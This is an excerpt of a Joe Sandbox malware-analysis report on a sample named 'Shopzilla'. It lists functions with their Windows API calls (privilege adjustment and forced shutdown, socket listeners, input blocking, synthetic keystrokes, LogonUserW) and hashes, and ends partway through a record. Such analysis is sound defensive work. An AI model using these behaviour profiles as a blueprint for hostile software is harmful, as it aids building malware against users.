FindClose.KERNEL32(00000000), ref: 00C0FA03

Part of subcall function 00BA52B0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00BA52E6

Sleep.KERNEL32(0000000A), ref: 00C0F920
_wcscmp.LIBCMT ref: 00C0F934
_wcscmp.LIBCMT ref: 00C0F94F
FindNextFileW.KERNEL32(?,?), ref: 00C0F9ED

Strings

*.*, xrefs: 00C0F8D5

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstMessageNextPeekSleep_memmove
String ID: *.*
API String ID: 2185952417-438819550
Opcode ID: 94caf3ba407b2f8f73434baa57ca7e465b4d5818f7fc7d8735dcacbc3cb63ca7
Instruction ID: 6bf762cb389124ad566aa9bad1481f12d48e90d27e3b9c219153c452ce23b85f
Opcode Fuzzy Hash: 94caf3ba407b2f8f73434baa57ca7e465b4d5818f7fc7d8735dcacbc3cb63ca7
Instruction Fuzzy Hash: 90417D7190021AAFDF24DF64CC59BEEBBB4FF05310F1445AAE815A32D1EB319A85CB90

Function 00C055E5 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00BF917C: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00BF91C6
Part of subcall function 00BF917C: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00BF91F3
Part of subcall function 00BF917C: GetLastError.KERNEL32 ref: 00BF9200

ExitWindowsEx.USER32(?,00000000), ref: 00C05621

Strings

SeShutdownPrivilege, xrefs: 00C055F1
, xrefs: 00C0560F
@, xrefs: 00C05614

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: 4fd5ae9c568be2c5432eb427a554b8bd6bab2d5b63dd49c17159808c611c0316
Instruction ID: 585c84dda66427a8761ace4ca6cf4ae19da2b96dce4b31e17a61475b1499b617
Opcode Fuzzy Hash: 4fd5ae9c568be2c5432eb427a554b8bd6bab2d5b63dd49c17159808c611c0316
Instruction Fuzzy Hash: 5B0176316A4A156BF72866A88C4AFBF729CEB05341F600120FD27E22D2DAA35D00CD95

Function 00C16733 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00C1678C
WSAGetLastError.WSOCK32(00000000), ref: 00C1679B
bind.WSOCK32(00000000,?,00000010), ref: 00C167B7
listen.WSOCK32(00000000,00000005), ref: 00C167C6
WSAGetLastError.WSOCK32(00000000), ref: 00C167E0
closesocket.WSOCK32(00000000,00000000), ref: 00C167F4

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: 234864f96cf5b9b866a71da9071b9f21041cf34755fced14b1c419aa3995aba1
Instruction ID: 0df340d2dd1fcaec2e66e9882c4fb897fb566bd0f59a641ff0f6bf658362462b
Opcode Fuzzy Hash: 234864f96cf5b9b866a71da9071b9f21041cf34755fced14b1c419aa3995aba1
Instruction Fuzzy Hash: 8F21F331200604AFCB10EF64C895BBEB3E9EF46324F208598F966A73D1CB70AD41DB91

Function 00BA1663 Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 00BA29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BA29F3

DefDlgProcW.USER32(?,?,?,?,?), ref: 00BA1DD6
GetSysColor.USER32(0000000F), ref: 00BA1E2A
SetBkColor.GDI32(?,00000000), ref: 00BA1E3D

Part of subcall function 00BA166C: DefDlgProcW.USER32(?,00000020,?), ref: 00BA16B4

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: 6dbeacde0b2968dcdfbe6b4eb946a1fb59971edbf236291f1c545f540cb2d30b
Instruction ID: 49052df0a5ad265d77873e46e91ba14011cc0319194b8cc2c58a56886bd8963a
Opcode Fuzzy Hash: 6dbeacde0b2968dcdfbe6b4eb946a1fb59971edbf236291f1c545f540cb2d30b
Instruction Fuzzy Hash: C3A1557411E404FAE67CAB2E9CC4E7F35DDEB43301F1509ABF482C62D1DA218C0192B6

Function 00C0C16C Relevance: 7.6, APIs: 5, Instructions: 143fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00C0C196
_wcscmp.LIBCMT ref: 00C0C1C6
_wcscmp.LIBCMT ref: 00C0C1DB
FindNextFileW.KERNEL32(00000000,?), ref: 00C0C1EC
FindClose.KERNEL32(00000000,00000001,00000000), ref: 00C0C21C

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNext
String ID:
API String ID: 2387731787-0
Opcode ID: 7fc5c78c4034a7ef9f33fad5d2b74bb14444b3da5e7b31489de63a7f95e70b05
Instruction ID: 125a160c2911f7e733400e3721e6ec458fedb79da4057f7d351681f47ef5725b
Opcode Fuzzy Hash: 7fc5c78c4034a7ef9f33fad5d2b74bb14444b3da5e7b31489de63a7f95e70b05
Instruction Fuzzy Hash: 24516B756046029FD714DFA8D4D0EAAB3E8FF49320F10466DF966877A1DB70AD04CB91

Function 00C16BF7 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00C1823D: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00C18268

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00C16C4E
WSAGetLastError.WSOCK32(00000000), ref: 00C16C77
bind.WSOCK32(00000000,?,00000010), ref: 00C16CB0
WSAGetLastError.WSOCK32(00000000), ref: 00C16CBD
closesocket.WSOCK32(00000000,00000000), ref: 00C16CD1

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ErrorLast$bindclosesocketinet_addrsocket
String ID:
API String ID: 99427753-0
Opcode ID: 85a3ead8981a6cf65d5ce752d7e8752fbffda16713095e06e727f5abeaade47a
Instruction ID: d9043e361604377c8f948e6fde6ce9a4c07fa7422c83652b84868e1b28d2f0ee
Opcode Fuzzy Hash: 85a3ead8981a6cf65d5ce752d7e8752fbffda16713095e06e727f5abeaade47a
Instruction Fuzzy Hash: 5D41E775704210AFDB10AF649C96FBE73E8DF46710F048498F955AB3D2CBB0AD009B91

Function 00C2577B Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00C257CA
IsWindowEnabled.USER32 ref: 00C257D8
GetForegroundWindow.USER32(?,?,00000001), ref: 00C257E5
IsIconic.USER32 ref: 00C257F3
IsZoomed.USER32 ref: 00C25801

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 6ab8681530f32ff69de41972ead8466ed5ab9be1bfa4b60aba009b762a488dc9
Instruction ID: 68b183a2dbf550fb6a8fe36d1af612f5916f0310021da1cc3dcb015526633039
Opcode Fuzzy Hash: 6ab8681530f32ff69de41972ead8466ed5ab9be1bfa4b60aba009b762a488dc9
Instruction Fuzzy Hash: B311C132750A219FE7215F26AC44B2FBB98FF85B61B144028F856D7641CB70ED018AE0

Function 00C1C4A1 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00BE01AA,?), ref: 00C1C4AF
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00C1C4C1

Strings

kernel32.dll, xrefs: 00C1C4AA
GetSystemWow64DirectoryW, xrefs: 00C1C4BB

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: aa1eaf71f469c348e097a72fd8c6879c7bbf5357669e338017568d60727e5594
Instruction ID: d3ede5959d79fac29fde1c83c18f1b405f7e8c620823776e21be6d81a6334fad
Opcode Fuzzy Hash: aa1eaf71f469c348e097a72fd8c6879c7bbf5357669e338017568d60727e5594
Instruction Fuzzy Hash: 0FE0C23B550B02CFE7204B26C869BBAB6D4BF16756B108479F89BC2220E770C8C0CB10

Function 00C1279E Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000), ref: 00C12891
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00C128C8

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: 43d954fab5e3a3a82e790fd494f0cccef1ef7f8f9e46408a6b5b918d0bcc8b37
Instruction ID: fd41ce7d686c5f062528e37161714c9bc6c7c351ce8ca9d9042737e0d1c2efdd
Opcode Fuzzy Hash: 43d954fab5e3a3a82e790fd494f0cccef1ef7f8f9e46408a6b5b918d0bcc8b37
Instruction Fuzzy Hash: C141D776504209BFEB20DA55CC85FFF77BCEB42724F10406EF601A6280D6719E91A6A0

Function 00C040C1 Relevance: 4.6, APIs: 3, Instructions: 59fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00C040DE
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 00C0411F
CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00C0412A

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 20b8b00b35d2040fad4eb87fad2c0178544aaf7aa84b86780f8498c4c8114f18
Instruction ID: 32f8830f19a220be84c95a15a5e3055baf8ecb9d8cf8bf9ad715b7044f37270d
Opcode Fuzzy Hash: 20b8b00b35d2040fad4eb87fad2c0178544aaf7aa84b86780f8498c4c8114f18
Instruction Fuzzy Hash: 381130B5E01228BBDB108F959C44FAFBBBCEB45B60F104155FA14E7290D6715A018BA1

Function 00C04D89 Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00C04DB2
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00C04DC9
FreeSid.ADVAPI32(?), ref: 00C04DD9

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: e919cfb9e536b63acabe9d37eb3f184870be382f6b5fc3aae343ad6a2252cc17
Instruction ID: e4e380f3c2737d4694473ac27407e280dc819d737edc866aa1141835e7c7f65c
Opcode Fuzzy Hash: e919cfb9e536b63acabe9d37eb3f184870be382f6b5fc3aae343ad6a2252cc17
Instruction Fuzzy Hash: 99F04F7691130CBFDF04DFE0DC99FAEB7BCEF08201F1044A9A601E2180D7305A048B50

Function 00C050A7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000800,00000000,00000000,00000088,00000000), ref: 00C050DB

Strings

DOWN, xrefs: 00C050C0

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: mouse_event
String ID: DOWN
API String ID: 2434400541-711622031
Opcode ID: f5ea71aef98e70b8af6d905172db98149a9a4db752f7dc3d411d5b58805f6c73
Instruction ID: 639e20be150285e1e9ec1b1333b1ff01fdaafae8f5b1adcb0ca585442ec967a4
Opcode Fuzzy Hash: f5ea71aef98e70b8af6d905172db98149a9a4db752f7dc3d411d5b58805f6c73
Instruction Fuzzy Hash: 78E0863615CF217AFD6411247C16FBF038C8B12739B604156F814950D2E9C42DC599AD

Function 00C01932 Relevance: 3.0, APIs: 2, Instructions: 32keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00C0196D
keybd_event.USER32(?,75C0C0D0,?,00000000), ref: 00C01980

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: e3140a77955e7da55e8ce00eb0a0dd5b14e9fb981da61bfe7cf9d8a1fbd1ec58
Instruction ID: f157d806dd6c92e6f120dbb30e2808f266048971d68c223e4c711c605448e489
Opcode Fuzzy Hash: e3140a77955e7da55e8ce00eb0a0dd5b14e9fb981da61bfe7cf9d8a1fbd1ec58
Instruction Fuzzy Hash: 75F0447291420DABEB00CF95C806BFEBBB4EF08315F10804AFD55AA2A2C3798615DF94

Function 00C0A51A Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,00C1991A,?,00C3098C,?), ref: 00C0A547
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,?,?,00C1991A,?,00C3098C,?), ref: 00C0A559

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 80fe3a28ae9996b72a3ffbf3f2400d030eab824dcf8a656c6aea45a3651ae2c4
Instruction ID: ce3cb1484ef1b79f900eec50253ddbbb75cd39f76219c1166967a427fdab73ac
Opcode Fuzzy Hash: 80fe3a28ae9996b72a3ffbf3f2400d030eab824dcf8a656c6aea45a3651ae2c4
Instruction Fuzzy Hash: 2FF0E23111122DBBDB20AFA8CC48FEA77ACBF08361F008195B918D6180D6309A00CBA1

Function 00BCA2B5 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00BC8EB7,?,?,?,00000001), ref: 00BCA2BA
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 00BCA2C3

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 8544394a97a395424888bcf312d8a79c6717e1310ef89783cce48d37edca3c39
Instruction ID: 55db57b5b4de80f47288f5edb9dbb358d6f97ec4d845ce13a0d6d76cb4fe2f14
Opcode Fuzzy Hash: 8544394a97a395424888bcf312d8a79c6717e1310ef89783cce48d37edca3c39
Instruction Fuzzy Hash: D2B09232074608ABCA802B91EC19B8C3F68EB45A62F104010F60D45070CB6254508E91

Function 00C143B9 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 00C143D4

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 137f9a9cf9cb5e02d9db9e740707b85a2b06001d225775542d70f4476540b8c9
Instruction ID: 2b50486602ce2db56d1331323b9c6b6ed4b54390b9b136dcb2ccb1df3b51efa0
Opcode Fuzzy Hash: 137f9a9cf9cb5e02d9db9e740707b85a2b06001d225775542d70f4476540b8c9
Instruction Fuzzy Hash: 0EE0DF362002049FC310AF6AE801A8BF7E8AF95360F408026FD49C7320CBB0EC508B90

Function 00BF914C Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00BF8D8A), ref: 00BF916C

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: 93778519ae98431fb8e51e7200d0ae7d2e2bfb179fab46940a490bf9bd885e9f
Instruction ID: 9335753cba2b6ad178ceb816929a799ab522e6baa727cbf8469736d1657ac35e
Opcode Fuzzy Hash: 93778519ae98431fb8e51e7200d0ae7d2e2bfb179fab46940a490bf9bd885e9f
Instruction Fuzzy Hash: 07D05E3326450EABEF018EA4DC01FAE3B69EB04B01F408111FE15C50A0C775D835AB60

Function 00BE0652 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00BE0664

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 9af572d9ae1c8bf200842bccc7baffd13b940e560fe92a27a9397243c20d93d8
Instruction ID: 20fa5513bbe45ead0049ca305b84f83ddeeed5728723f9052e21b164df7eece9
